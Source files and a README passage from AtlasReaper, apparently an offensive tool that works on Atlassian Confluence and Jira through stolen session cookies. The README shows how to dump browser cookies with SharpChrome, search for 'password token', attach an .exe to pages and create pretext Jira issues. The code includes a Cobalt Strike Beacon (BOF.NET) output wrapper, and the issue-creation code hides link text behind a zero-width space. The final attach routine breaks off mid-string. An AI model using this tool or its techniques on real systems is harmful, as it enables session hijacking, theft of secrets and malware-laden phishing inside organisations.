87 | `.\AtlasReaper.exe confluence attach --page-id "12345" --file "C:\path\to\file.exe" --url $url --cookie $cookie` 88 | 89 | - Create a new issue in Jira: 90 | 91 | `.\AtlasReaper.exe jira createissue --project "PROJ" --issue-type Task --message "I can't access this link from my host" --url $url --cookie $cookie` 92 | 93 | - Search for multiple keywords in Jira Issues and show comments and attachments related to them: 94 | 95 | `.\AtlasReaper.exe jira search --query "password token" --url $url --cookie $cookie --comments --attachments` 96 | 97 | - Download attachments from Jira Issues through BOF.NET: 98 | 99 | `.\AtlasReaper.exe jira downloadBOFNET --url $url --cookie $cookie -a id1,id2,...` 100 | 101 | - Download attachments from Confluence through BOF.NET: 102 | 103 | `.\AtlasReaper.exe confluence downloadBOFNET --url $url --cookie $cookie -a id1,id2,...` 104 | 105 | ## Authentication 106 | 107 | Confluence and Jira can be configured to allow anonymous access. You can check this by supplying omitting the -c/--cookie from the commands. 108 | 109 | In the event authentication is required, you can dump cookies from a user's browser with [SharpChrome]() or another similar tool. 110 | 111 | 1. `.\SharpChrome.exe cookies /showall` 112 | 113 | 2. Look for any cookies scoped to the `*.atlassian.net` named `cloud.session.token` or `tenant.session.token` 114 | 115 | ## Limitations 116 | 117 | Please note the following limitations of AtlasReaper: 118 | 119 | - The tool has not been thoroughly tested in all environments, so it's possible to encounter crashes or unexpected behavior. Efforts have been made to minimize these issues, but caution is advised. 120 | - AtlasReaper uses the `cloud.session.token` or `tenant.session.token` which can be obtained from a user's browser. Alternatively, it can use anonymous access if permitted. (API tokens or other auth is not currently supported) 121 | - For write operations, the username associated with the user session token (or "anonymous") will be listed. 122 | 123 | ## Contributing 124 | 125 | If you encounter any issues or have suggestions for improvements, please feel free to contribute by submitting a pull request or opening an issue in the [AtlasReaper repo](https://github.com/werdhaihai/AtlasReaper). 126 | -------------------------------------------------------------------------------- /AtlasReaper/Jira/CreateIssue.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | using System.Collections.Generic; 4 | 5 | namespace AtlasReaper.Jira 6 | { 7 | class CreateIssue 8 | { 9 | internal void CreateIssueM(Options.JiraOptions.CreateIssueOptions options) 10 | { 11 | string createMetaUrl = options.Url + "/rest/api/3/issue/createmeta?projectKeys=" + options.Project; 12 | string postIssueUrl = options.Url + "/rest/api/3/issue"; 13 | 14 | string linkText = "\u200b" + options.Text; 15 | 16 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 17 | 18 | IssueCreateMetaData createMetaData = webRequestHandler.GetJson(createMetaUrl, options.Cookie); 19 | 20 | IssueObj issue = new IssueObj 21 | { 22 | IssueFields = new IssueFields 23 | { 24 | ProjectKey = new ProjectKey 25 | { 26 | Key = options.Project 27 | }, 28 | 29 | Summary = options.Summary, 30 | IssueType = new IssueType 31 | { 32 | Name = options.IssueType 33 | }, 34 | Description = new Body 35 | { 36 | Type = "doc", 37 | Version = 1, 38 | ContentList = new List() 39 | 40 | } 41 | 42 | } 43 | }; 44 | 45 | Content textParagraph = new Content 46 | { 47 | Type = "paragraph", 48 | CommentContents = new List() 49 | }; 50 | 51 | if (options.At != null) 52 | { 53 | CommentContent mention = new CommentContent 54 | { 55 | Type = "mention", 56 | Attrs = new Attrs 57 | { 58 | Id = options.At, 59 | AccessLevel = "" 60 | } 61 | }; 62 | textParagraph.CommentContents.Add(mention); 63 | } 64 | 65 | if (options.Message != null) 66 | { 67 | CommentContent commentMessage = new CommentContent 68 | { 69 | Type = "text", 70 | Text = " " + options.Message 71 | }; 72 | 73 | textParagraph.CommentContents.Add(commentMessage); 74 | } 75 | 76 | if (textParagraph.CommentContents.Count > 0) 77 | { 78 | issue.IssueFields.Description.ContentList.Add(textParagraph); 79 | } 80 | 81 | 82 | 83 | Content linkParagraph = new Content 84 | { 85 | Type = "paragraph", 86 | CommentContents = new List() 87 | }; 88 | 89 | if (options.Link != null) 90 | { 91 | CommentContent linkContent = new CommentContent 92 | { 93 | Type = "text", 94 | Text = linkText, 95 | Marks = new List 96 | { 97 | new Mark 98 | { 99 | Type = "link", 100 | Attrs = new Attrs 101 | { 102 | Href = options.Link 103 | } 104 | } 105 | } 106 | }; 107 | 108 | linkParagraph.CommentContents.Add(linkContent); 109 | issue.IssueFields.Description.ContentList.Add(linkParagraph); 110 | } 111 | 112 | JsonSerializerSettings settings = new JsonSerializerSettings 113 | { 114 | NullValueHandling = NullValueHandling.Ignore 115 | }; 116 | 117 | string json = JsonConvert.SerializeObject(issue, Formatting.None, settings); 118 | 119 | IssueCreated issueCreated = webRequestHandler.PostJson(postIssueUrl, options.Cookie, json); 120 | Console.WriteLine("Created issue : " + issueCreated.Key); 121 | 122 | string restUrl = options.Url + "/rest/api/3/search?jql=Issue=" + issueCreated.Key + "&expand=renderedFields&fields=description,summary,created,updated,status,creator,assignee,comment,attachment"; 123 | 124 | Issues issueClass = new Issues(); 125 | RootIssuesObject issuesList = issueClass.GetIssues(restUrl, options.Cookie); 126 | issueClass.PrintIssues(issuesList.Issues, Console.Out); 127 | } 128 | } 129 | 130 | internal class IssueCreated 131 | { 132 | [JsonProperty("id")] 133 | internal string Id { get; set; } 134 | [JsonProperty("key")] 135 | internal string Key { get; set; } 136 | [JsonProperty("self")] 137 | internal string Self { get; set; } 138 | } 139 | 140 | internal class IssueCreateMetaData 141 | { 142 | [JsonProperty("expand")] 143 | internal string Expand { get; set; } 144 | 145 | [JsonProperty("projects")] 146 | internal List Projects { get; set; } 147 | } 148 | 149 | internal class IssueObj 150 | { 151 | [JsonProperty("fields")] 152 | internal IssueFields IssueFields { get; set; } 153 | } 154 | 155 | internal class IssueFields 156 | { 157 | [JsonProperty("project")] 158 | internal ProjectKey ProjectKey { get; set; } 159 | 160 | [JsonProperty("summary")] 161 | internal string Summary { get; set; } 162 | 163 | [JsonProperty("issuetype")] 164 | internal IssueType IssueType { get; set; } 165 | 166 | [JsonProperty("description")] 167 | internal Body Description { get; set; } 168 | } 169 | 170 | internal class ProjectKey 171 | { 172 | [JsonProperty("key")] 173 | internal string Key { get; set; } 174 | } 175 | } 176 | -------------------------------------------------------------------------------- /AtlasReaper/Jira/Search.cs: -------------------------------------------------------------------------------- 1 | using AtlasReaper.Options; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Net; 6 | using System.Text.RegularExpressions; 7 | 8 | namespace AtlasReaper.Jira 9 | { 10 | class Search 11 | { 12 | internal void SearchJira(JiraOptions.SearchIssuesOptions options) 13 | { 14 | try 15 | { 16 | RootIssuesObject issuesList = new RootIssuesObject(); 17 | 18 | // Building the url 19 | //string query = WebUtility.UrlEncode(options.Query); 20 | string encodedQuery = "\"" + WebUtility.UrlEncode(options.Query) + "\""; 21 | string url = 22 | options.Url + 23 | "/rest/api/3/search?jql=text~" + 24 | encodedQuery + 25 | "&expand=renderedFields&fields=description,summary,created,updated,status,creator,assignee"; 26 | 27 | if (options.Comments) 28 | { 29 | url = url + ",comment"; 30 | } 31 | if (options.Attachments) 32 | { 33 | url = url + ",attachment"; 34 | } 35 | if (!options.All) 36 | { 37 | issuesList = DoSearch(options, url); 38 | } 39 | else 40 | { 41 | // return all results 42 | } 43 | 44 | //PrintIssues(issuesList.Issues, Console.Out, options.Url); 45 | 46 | if (options.outfile != null) 47 | { 48 | using (StreamWriter writer = new StreamWriter(options.outfile)) 49 | { 50 | PrintIssues(issuesList.Issues, writer, options.Url); 51 | } 52 | } 53 | else 54 | { 55 | PrintIssues(issuesList.Issues, Console.Out, options.Url); 56 | } 57 | 58 | } 59 | catch(Exception ex) 60 | { 61 | Console.WriteLine("Error occurred while searching Jira: " + ex.Message); 62 | } 63 | } 64 | 65 | private RootIssuesObject DoSearch(JiraOptions.SearchIssuesOptions options, string url) 66 | { 67 | 68 | 69 | 70 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 71 | 72 | RootIssuesObject searchObject = webRequestHandler.GetJson(url, options.Cookie); 73 | 74 | return searchObject; 75 | 76 | } 77 | 78 | internal void PrintIssues(List issues, TextWriter writer, string url) 79 | { 80 | try 81 | { 82 | for (int i = 0; i < issues.Count; i++) 83 | { 84 | Issue issue = issues[i]; 85 | List comments = issue.RenderedFields.RenderedCommentObj?.Comments; 86 | List attachments = issue.RenderedFields?.Attachments; 87 | 88 | writer.WriteLine(" Issue Title : " + issue.Fields.Title); 89 | writer.WriteLine(" Issue Key : " + issue.Key); 90 | writer.WriteLine(" Issue Id : " + issue.Id); 91 | writer.WriteLine(" Created : " + issue.RenderedFields.Created); 92 | writer.WriteLine(" Updated : " + issue.RenderedFields.Updated); 93 | writer.WriteLine(" Status : " + issue.Fields.Status?.Name); 94 | writer.WriteLine(" Creator : " + issue.Fields.Creator?.EmailAddress + " - " + issue.Fields.Creator?.DisplayName + " - " + issue.Fields.Creator?.TimeZone); 95 | writer.WriteLine(" Assignee : " + issue.Fields.Assignee?.EmailAddress + " - " + issue.Fields.Assignee?.DisplayName + " - " + issue.Fields.Assignee?.TimeZone); 96 | writer.WriteLine(" Issue Contents : " + Regex.Replace(issue.RenderedFields.Description, @"<(?!\/?a(?=>|\s.*>))\/?.*?>", "").Trim('\r', '\n')); 97 | writer.WriteLine(" Issue URL : " + url + "/rest/api/3/issue/" + issue.Id); 98 | writer.WriteLine(); 99 | if (attachments?.Count > 0) 100 | { 101 | writer.WriteLine(" Attachments : "); 102 | writer.WriteLine(); 103 | for (int j = 0; j < attachments.Count; j++) 104 | { 105 | Attachment attachment = attachments[j]; 106 | writer.WriteLine(" Filename : " + attachment.FileName); 107 | writer.WriteLine(" Attachment Id : " + attachment.Id); 108 | writer.WriteLine(" Mimetype : " + attachment.mimeType); 109 | writer.WriteLine(" File size : " + attachment.Size); 110 | writer.WriteLine(" Attachment URL : " + url + "/rest/api/3/attachment/" + attachment.Id); 111 | writer.WriteLine(" Attachment content : " + url + "/rest/api/3/attachment/content/" + attachment.Id); 112 | writer.WriteLine(); 113 | } 114 | } 115 | if (comments?.Count > 0) 116 | { 117 | writer.WriteLine(); 118 | writer.WriteLine(" Comments : "); 119 | writer.WriteLine(); 120 | for (int j = 0; j < comments.Count; j++) 121 | { 122 | writer.WriteLine(" - " + comments[j].Author.EmailAddress + " - " + comments[j].Author.DisplayName + " - " + comments[j].Created); 123 | List contentList = comments[j]?.Body.ContentList; 124 | for (int k = 0; k < contentList.Count; k++) 125 | { 126 | 127 | List commentContents = contentList[k]?.CommentContents; 128 | if (commentContents != null) 129 | { 130 | for (int l = 0; l < commentContents.Count; l++) 131 | { 132 | writer.WriteLine(" " + commentContents[l].Text?.Trim('\r', '\n')); 133 | 134 | } 135 | } 136 | } 137 | writer.WriteLine(); 138 | } 139 | 140 | } 141 | writer.WriteLine(); 142 | } 143 | } 144 | catch (Exception ex) 145 | { 146 | Console.WriteLine("Error occurred while printing issues: " + ex.Message); 147 | } 148 | 149 | } 150 | } 151 | 152 | } 153 | -------------------------------------------------------------------------------- /AtlasReaper/Confluence/Search.cs: -------------------------------------------------------------------------------- 1 | using AtlasReaper.Options; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Net; 5 | using Newtonsoft.Json; 6 | 7 | namespace AtlasReaper.Confluence 8 | { 9 | internal class Search 10 | { 11 | internal void SearchConfluence(ConfluenceOptions.SearchOptions options) 12 | { 13 | try 14 | { 15 | //Perform search based on provided options 16 | if (!options.All) 17 | { 18 | SearchObject searchObject = DoSearchAsync(options, options.Query); 19 | PrintResults(searchObject.Results, options.Url); 20 | } 21 | else 22 | { 23 | // Return all results 24 | SearchObject searchObject = DoSearchAsync(options, options.Query); 25 | 26 | List results = searchObject.Results; 27 | 28 | while (searchObject != null && searchObject._Links.Next != null) 29 | { 30 | string paginationUrl = searchObject._Links.Base + searchObject._Links.Next; 31 | 32 | searchObject = DoSearchAsync(options, options.Query, paginationUrl); 33 | results.AddRange(searchObject.Results); 34 | } 35 | 36 | PrintResults(results, options.Url); 37 | } 38 | } 39 | 40 | catch (Exception ex) 41 | { 42 | Console.WriteLine("Error occurred while searching Confluence: " + ex.Message); 43 | } 44 | 45 | 46 | } 47 | 48 | internal SearchObject DoSearchAsync(ConfluenceOptions.SearchOptions options, string query, string paginationUrl = null) 49 | { 50 | try 51 | { 52 | // Encode query for Url 53 | //query = WebUtility.UrlEncode(query); 54 | string encodedQuery = "\"" + WebUtility.UrlEncode(query) + "\""; 55 | string url = options.Url + "/wiki/rest/api/search?cql=text~" + encodedQuery + "&limit=" + options.Limit; 56 | if (paginationUrl != null) 57 | { 58 | url = paginationUrl; 59 | } 60 | 61 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 62 | 63 | SearchObject searchObject = webRequestHandler.GetJson(url, options.Cookie); 64 | 65 | return searchObject; 66 | } 67 | catch (Exception ex) 68 | { 69 | Console.WriteLine("An error occurred while performing the search: " + ex.Message); 70 | return null; 71 | } 72 | 73 | } 74 | 75 | internal void PrintResults(List results, string url) 76 | { 77 | try 78 | { 79 | //results = results.OrderByDescending(o => o.LastModified).ToList(); 80 | for (int i = 0; i < results.Count; i++) 81 | { 82 | SearchResult result = results[i]; 83 | 84 | Console.WriteLine(" Title : " + result.Title.Replace("@@@hl@@@", "").Replace("@@@endhl@@@", "")); 85 | Console.WriteLine(" Id : " + result.Content.Id); 86 | Console.WriteLine(" Type : " + result.Content.Type); 87 | Console.WriteLine(" Excerpt : " + result.Excerpt.Replace("@@@hl@@@", "").Replace("@@@endhl@@@", "").Replace("\\", "\\\\").Replace("\n", "\\n")); 88 | Console.WriteLine(" URL : " + url + "/wiki/rest/api/content/" + result.Content.Id + "?expand=body.storage"); 89 | if (result.Content.Type.Equals("page")) 90 | { 91 | Console.WriteLine(" Attachments URL : " + url + "/wiki/api/v2/pages/" + result.Content.Id + "/attachments"); 92 | } 93 | if (result.Content.Type.Equals("blogpost")) 94 | { 95 | Console.WriteLine(" Attachments URL : " + url + "/wiki/api/v2/blogposts/" + result.Content.Id + "/attachments"); 96 | } 97 | Console.WriteLine(); 98 | } 99 | } 100 | catch (Exception ex) 101 | { 102 | Console.WriteLine("Error while printing the search results: " + ex.Message); 103 | } 104 | 105 | } 106 | } 107 | 108 | internal class SearchObject 109 | { 110 | [JsonProperty("results")] 111 | internal List Results { get; set; } 112 | 113 | [JsonProperty("start")] 114 | internal int Start { get; set; } 115 | 116 | [JsonProperty("limit")] 117 | internal int Limit { get; set; } 118 | 119 | [JsonProperty("size")] 120 | internal int Size { get; set; } 121 | 122 | [JsonProperty("totalSize")] 123 | internal int TotalSize { get; set; } 124 | 125 | [JsonProperty("cqlQuery")] 126 | internal string CqlQuery { get; set; } 127 | 128 | [JsonProperty("searchDuration")] 129 | internal string SearchDuration { get; set; } 130 | 131 | [JsonProperty("_links")] 132 | internal _SearchLinks _Links { get; set; } 133 | } 134 | 135 | internal class SearchResult 136 | { 137 | [JsonProperty("content")] 138 | internal Content Content { get; set; } 139 | 140 | [JsonProperty("title")] 141 | internal string Title { get; set; } 142 | 143 | [JsonProperty("excerpt")] 144 | internal string Excerpt { get; set; } 145 | 146 | [JsonProperty("url")] 147 | internal string Url { get; set; } 148 | 149 | [JsonProperty("resultGlobalContainer")] 150 | internal ResultGlobalContainer ResultGlobalContainer { get; set; } 151 | 152 | [JsonProperty("lastModified")] 153 | internal string LastModified { get; set; } 154 | 155 | [JsonProperty("friendlyLastModified")] 156 | internal string FriendlyLastModified { get; set; } 157 | 158 | [JsonProperty("score")] 159 | internal string Score { get; set; } 160 | 161 | } 162 | 163 | internal class Content 164 | { 165 | [JsonProperty("id")] 166 | internal string Id { get; set; } 167 | 168 | [JsonProperty("type")] 169 | internal string Type { get; set; } 170 | 171 | [JsonProperty("status")] 172 | internal string Status { get; set; } 173 | 174 | [JsonProperty("title")] 175 | internal string Title { get; set; } 176 | 177 | } 178 | internal class ResultGlobalContainer 179 | { 180 | [JsonProperty("title")] 181 | internal string Title { get; set; } 182 | 183 | [JsonProperty("displayUrl")] 184 | internal string DisplayUrl { get; set; } 185 | } 186 | 187 | internal class _SearchLinks 188 | { 189 | [JsonProperty("base")] 190 | internal string Base { get; set; } 191 | [JsonProperty("context")] 192 | internal string Context { get; set; } 193 | 194 | [JsonProperty("next")] 195 | internal string Next { get; set; } 196 | 197 | [JsonProperty("self")] 198 | internal string Self { get; set; } 199 | 200 | } 201 | } 202 | -------------------------------------------------------------------------------- /AtlasReaper/Confluence/Spaces.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using Newtonsoft.Json; 6 | using AtlasReaper.Options; 7 | 8 | namespace AtlasReaper.Confluence 9 | { 10 | internal class Spaces 11 | { 12 | // List spaces based on options 13 | internal void ListSpaces(ConfluenceOptions.ListSpacesOptions options) 14 | { 15 | try 16 | { 17 | List spaces = new List(); 18 | 19 | if (options.Space != null) 20 | { 21 | // Get a single space 22 | Space space = GetSpace(options); 23 | spaces.Add(space); 24 | } 25 | else if (options.AllSpaces) 26 | { 27 | // List all spaces 28 | spaces = GetAllSpaces(options); 29 | } 30 | else 31 | { 32 | // List Spaces by limit 33 | RootSpacesObject spacesList = GetSpaces(options); 34 | spaces = spacesList.Results.ToList(); 35 | spaces = spaces.OrderBy(o => o.Type).ToList(); 36 | } 37 | if (options.Type != null) 38 | { 39 | spaces = spaces.Where(space => space != null && space.Type == options.Type).ToList(); 40 | } 41 | if (options.outfile != null) 42 | { 43 | using (StreamWriter writer = new StreamWriter(options.outfile)) 44 | { 45 | PrintSpaces(spaces, writer); 46 | } 47 | } 48 | else 49 | { 50 | PrintSpaces(spaces, Console.Out); 51 | } 52 | } 53 | catch (Exception ex) 54 | { 55 | Console.WriteLine("Error occurred while listing spaces: " + ex.Message); 56 | } 57 | 58 | 59 | 60 | } 61 | 62 | // Get Spaces based on options 63 | internal static RootSpacesObject GetSpaces(ConfluenceOptions.ListSpacesOptions options, string paginationToken = null) 64 | { 65 | RootSpacesObject spaceList = new RootSpacesObject(); 66 | var url = options.Url + "/wiki/api/v2/spaces?limit=" + options.Limit; 67 | if (paginationToken != null) 68 | { 69 | url += "&" + paginationToken; 70 | } 71 | 72 | try 73 | { 74 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 75 | 76 | spaceList = webRequestHandler.GetJson(url, options.Cookie); 77 | 78 | return spaceList; 79 | } 80 | catch (Exception ex) 81 | { 82 | Console.WriteLine("Error occurred while getting spaces: " + ex.Message); 83 | return spaceList; 84 | } 85 | 86 | } 87 | 88 | // Get a single Space 89 | internal static Space GetSpace(ConfluenceOptions.ListSpacesOptions options) 90 | { 91 | Space space = new Space(); 92 | string url = options.Url + "/wiki/api/v2/spaces/" + options.Space; 93 | try 94 | { 95 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 96 | space = webRequestHandler.GetJson(url, options.Cookie); 97 | return space; 98 | } 99 | catch (Exception ex) 100 | { 101 | Console.WriteLine("Error occurred while getting space: " + ex.Message); 102 | return space; 103 | } 104 | 105 | } 106 | 107 | // Get All Spaces 108 | internal static List GetAllSpaces(ConfluenceOptions.ListSpacesOptions options) 109 | { 110 | List spaces = new List(); 111 | // Set limit to 250 to reduce number of requests 112 | options.Limit = "250"; 113 | try 114 | { 115 | RootSpacesObject spacesList = GetSpaces(options); 116 | 117 | spaces = spacesList.Results; 118 | 119 | while (spacesList != null && spacesList._Links.Next != null) 120 | { 121 | string nextToken = spacesList._Links.Next.Split('&').Last(); 122 | 123 | spacesList = GetSpaces(options, nextToken); 124 | spaces.AddRange(spacesList.Results); 125 | } 126 | 127 | spaces = spaces.OrderBy(o => o.Type).ToList(); 128 | 129 | return spaces; 130 | } 131 | catch (Exception ex) 132 | { 133 | Console.WriteLine("Error occurred while getting all spaces: " + ex.Message); 134 | return spaces; 135 | } 136 | 137 | } 138 | 139 | // Print Spaces information 140 | internal void PrintSpaces(List spaces, TextWriter writer) 141 | { 142 | try 143 | { 144 | for (int i = 0; i < spaces.Count; i++) 145 | { 146 | Space space = spaces[i]; 147 | writer.WriteLine(" Space Name : " + space.Name); 148 | writer.WriteLine(" Space Id : " + space.Id); 149 | writer.WriteLine(" Space Key : " + space.Key); 150 | writer.WriteLine(" Space Type : " + space.Type); 151 | //writer.WriteLine("Space Description: " + space.Description); 152 | writer.WriteLine(" Space Status: " + space.Status); 153 | writer.WriteLine(); 154 | } 155 | } 156 | 157 | catch (Exception ex) 158 | { 159 | Console.WriteLine("Error occurred while printing space: " + ex.Message); 160 | } 161 | 162 | } 163 | } 164 | 165 | internal class RootSpacesObject 166 | { 167 | [JsonProperty("results")] 168 | internal List Results { get; set; } 169 | 170 | [JsonProperty("_links")] 171 | internal _Links _Links { get; set; } 172 | } 173 | 174 | internal class Space 175 | { 176 | [JsonProperty("id")] 177 | internal string Id { get; set; } 178 | 179 | [JsonProperty("key")] 180 | internal string Key { get; set; } 181 | 182 | [JsonProperty("name")] 183 | internal string Name { get; set; } 184 | 185 | [JsonProperty("type")] 186 | internal string Type { get; set; } 187 | 188 | [JsonProperty("status")] 189 | internal string Status { get; set; } 190 | 191 | [JsonProperty("homepageId")] 192 | internal string HomepageId { get; set; } 193 | 194 | [JsonProperty("description")] 195 | internal Description Description { get; set; } 196 | } 197 | 198 | internal class Description 199 | { 200 | [JsonProperty("plain")] 201 | internal string Plain { get; set; } 202 | 203 | [JsonProperty("view")] 204 | internal string View { get; set; } 205 | } 206 | 207 | internal class _Links 208 | { 209 | [JsonProperty("base")] 210 | internal string Base { get; set; } 211 | 212 | [JsonProperty("next")] 213 | internal string Next { get; set; } 214 | } 215 | } 216 | 217 | 218 | -------------------------------------------------------------------------------- /AtlasReaper/BOFNET.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading; 6 | using System.Threading.Tasks; 7 | using BOFNET; 8 | 9 | namespace AtlasReaper 10 | { 11 | public class BOFNET : BeaconObject 12 | { 13 | public BOFNET(BeaconApi api) : base(api) { } 14 | 15 | volatile static ProducerConsumerStream memStream = new ProducerConsumerStream(); 16 | volatile static bool RunThread; 17 | 18 | public volatile static BOFNET bofnet = null; 19 | public volatile static Mutex mutex = new Mutex(); 20 | 21 | public override void Go(string[] args) 22 | { 23 | try 24 | { 25 | // Redirect stdout to MemoryStream 26 | StreamWriter memStreamWriter = new StreamWriter(memStream); 27 | memStreamWriter.AutoFlush = true; 28 | Console.SetOut(memStreamWriter); 29 | Console.SetError(memStreamWriter); 30 | 31 | // Add reference to BeaconObject for output tasks 32 | bofnet = this; 33 | 34 | // Start thread to check MemoryStream to send data to Beacon 35 | RunThread = true; 36 | Thread runtimeWriteLine = new Thread(() => RuntimeWriteLine()); 37 | runtimeWriteLine.Start(); 38 | 39 | // Run main program passing original arguments 40 | Task.Run(() => Program.Main(args)).GetAwaiter().GetResult(); 41 | 42 | // Trigger safe exit of thread, ensuring MemoryStream is emptied too 43 | RunThread = false; 44 | runtimeWriteLine.Join(); 45 | } 46 | catch (Exception ex) 47 | { 48 | 49 | BeaconConsole.WriteLine(String.Format("[!] BOF.NET Exception: {0}.", ex)); 50 | } 51 | } 52 | 53 | public static void RuntimeWriteLine() 54 | { 55 | bool LastCheck = false; 56 | while (RunThread == true || LastCheck == true) 57 | { 58 | int offsetWritten = 0; 59 | int currentCycleMemstreamLength = Convert.ToInt32(memStream.Length); 60 | if (currentCycleMemstreamLength > offsetWritten) 61 | { 62 | mutex.WaitOne(); 63 | try 64 | { 65 | var byteArrayRaw = new byte[currentCycleMemstreamLength]; 66 | int count = memStream.Read(byteArrayRaw, offsetWritten, currentCycleMemstreamLength); 67 | 68 | if (count > 0) 69 | { 70 | // Need to stop at last new line otherwise it will run into encoding errors in the Beacon logs. 71 | int lastNewLine = 0; 72 | for (int i = 0; i < byteArrayRaw.Length; i++) 73 | { 74 | if (byteArrayRaw[i] == '\n') 75 | { 76 | lastNewLine = i; 77 | } 78 | } 79 | if (LastCheck) 80 | { 81 | // If last run ensure all remaining MemoryStream data is obtained. 82 | lastNewLine = currentCycleMemstreamLength; 83 | } 84 | if (lastNewLine > 0) 85 | { 86 | var byteArrayToLastNewline = new byte[lastNewLine]; 87 | Buffer.BlockCopy(byteArrayRaw, 0, byteArrayToLastNewline, 0, lastNewLine); 88 | bofnet.BeaconConsole.WriteLine(Encoding.ASCII.GetString(byteArrayToLastNewline)); 89 | offsetWritten = offsetWritten + lastNewLine; 90 | } 91 | } 92 | } 93 | catch (Exception ex) 94 | { 95 | bofnet.BeaconConsole.WriteLine(ex); 96 | } 97 | mutex.ReleaseMutex(); 98 | } 99 | Thread.Sleep(50); 100 | if (LastCheck) 101 | { 102 | break; 103 | } 104 | if (RunThread == false && LastCheck == false) 105 | { 106 | LastCheck = true; 107 | } 108 | } 109 | } 110 | 111 | public void PassDownloadFile(string filename, ref MemoryStream fileStream) 112 | { 113 | mutex.WaitOne(); 114 | try 115 | { 116 | DownloadFile(filename, fileStream); 117 | } 118 | catch (Exception ex) 119 | { 120 | BeaconConsole.WriteLine(String.Format("[!] BOF.NET Exception during DownloadFile(): {0}.", ex)); 121 | } 122 | mutex.ReleaseMutex(); 123 | } 124 | 125 | } 126 | 127 | // Code taken from Polity at: https://stackoverflow.com/questions/12328245/memorystream-have-one-thread-write-to-it-and-another-read 128 | // Provides means to have multiple threads reading and writing from and to the same MemoryStream 129 | public class ProducerConsumerStream : Stream 130 | { 131 | private readonly MemoryStream innerStream; 132 | private long readPosition; 133 | private long writePosition; 134 | 135 | public ProducerConsumerStream() 136 | { 137 | innerStream = new MemoryStream(); 138 | } 139 | 140 | public override bool CanRead { get { return true; } } 141 | 142 | public override bool CanSeek { get { return false; } } 143 | 144 | public override bool CanWrite { get { return true; } } 145 | 146 | public override void Flush() 147 | { 148 | lock (innerStream) 149 | { 150 | innerStream.Flush(); 151 | } 152 | } 153 | 154 | public override long Length 155 | { 156 | get 157 | { 158 | lock (innerStream) 159 | { 160 | return innerStream.Length; 161 | } 162 | } 163 | } 164 | 165 | public override long Position 166 | { 167 | get { throw new NotSupportedException(); } 168 | set { throw new NotSupportedException(); } 169 | } 170 | 171 | public override int Read(byte[] buffer, int offset, int count) 172 | { 173 | lock (innerStream) 174 | { 175 | innerStream.Position = readPosition; 176 | int red = innerStream.Read(buffer, offset, count); 177 | readPosition = innerStream.Position; 178 | 179 | return red; 180 | } 181 | } 182 | 183 | public override long Seek(long offset, SeekOrigin origin) 184 | { 185 | throw new NotSupportedException(); 186 | } 187 | 188 | public override void SetLength(long value) 189 | { 190 | throw new NotImplementedException(); 191 | } 192 | 193 | public override void Write(byte[] buffer, int offset, int count) 194 | { 195 | lock (innerStream) 196 | { 197 | innerStream.Position = writePosition; 198 | innerStream.Write(buffer, offset, count); 199 | writePosition = innerStream.Position; 200 | } 201 | } 202 | } 203 | } 204 | -------------------------------------------------------------------------------- /AtlasReaper/Confluence/Attach.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using AtlasReaper.Options; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.IO; 6 | using System.Linq; 7 | 8 | namespace AtlasReaper.Confluence 9 | { 10 | class Attach 11 | { 12 | internal void AttachFile(Options.ConfluenceOptions.AttachOptions options) 13 | { 14 | try 15 | { 16 | 17 | string url = options.Url + "/wiki/rest/api/content/" + options.Page + "/child/attachment"; 18 | string fileName = options.Name; 19 | 20 | 21 | if (options.AttachmentId != null && options.File == null) 22 | { 23 | // Attach existing attachment 24 | 25 | string attachmentUrl = options.Url + "/wiki/api/v2/attachments/" + options.AttachmentId; 26 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 27 | AttachmentResult attachmentResult = webRequestHandler.GetJson(attachmentUrl, options.Cookie); 28 | 29 | string attachmentPage = attachmentResult.DownloadLink.Split('/')[3]; 30 | 31 | if (options.Page == null) 32 | { 33 | options.Page = attachmentPage; 34 | } 35 | 36 | if (options.Page != attachmentPage) 37 | { 38 | Console.WriteLine("Must attach to the same page the attachment is uploaded to."); 39 | Console.WriteLine("Attachment is uploaded to " + attachmentPage); 40 | return; 41 | } 42 | 43 | AttachPage(attachmentResult.Title, options); 44 | 45 | } 46 | if (options.File != null) 47 | { 48 | if (options.Page == null) 49 | { 50 | Console.WriteLine("Please specify a page with -p/--page"); 51 | return; 52 | } 53 | if (options.Name == null) 54 | { 55 | fileName = Path.GetFileName(options.File); 56 | } 57 | 58 | RootAttachObject attachmentObject = UploadFile(url, options, fileName); 59 | if (attachmentObject.Results.Count < 1) 60 | { 61 | Console.WriteLine("Attachment already exists with the name " + fileName); 62 | Console.WriteLine(); 63 | Console.WriteLine(" Use -a/--attachment to specify an existing attachment"); 64 | return; 65 | } 66 | 67 | Console.WriteLine("Uploaded " + fileName); 68 | Console.WriteLine("Attachment Id: " + attachmentObject.Results[0].Id); 69 | 70 | AttachPage(attachmentObject.Results[0].Title, options); 71 | 72 | } 73 | 74 | } 75 | catch (Exception ex) 76 | { 77 | Console.WriteLine("Error occurred while adding attaching file : " + ex.Message); 78 | } 79 | 80 | 81 | 82 | } 83 | 84 | internal void AttachPage(string attachmentTitle, ConfluenceOptions.AttachOptions options) 85 | { 86 | // Build page url 87 | string pageUrl = options.Url + "/wiki/api/v2/pages/" + options.Page + "?body-format=storage"; 88 | string attachText = ""; 89 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 90 | 91 | 92 | if (options.At != null) 93 | { 94 | List ats = options.At.Split(',').ToList(); 95 | attachText += "

"; 96 | foreach (string at in ats) 97 | { 98 | attachText += ""; 99 | } 100 | 101 | attachText += "

" + options.Text + "

\r\n

250

"; 104 | } 105 | 106 | else 107 | { 108 | attachText = "

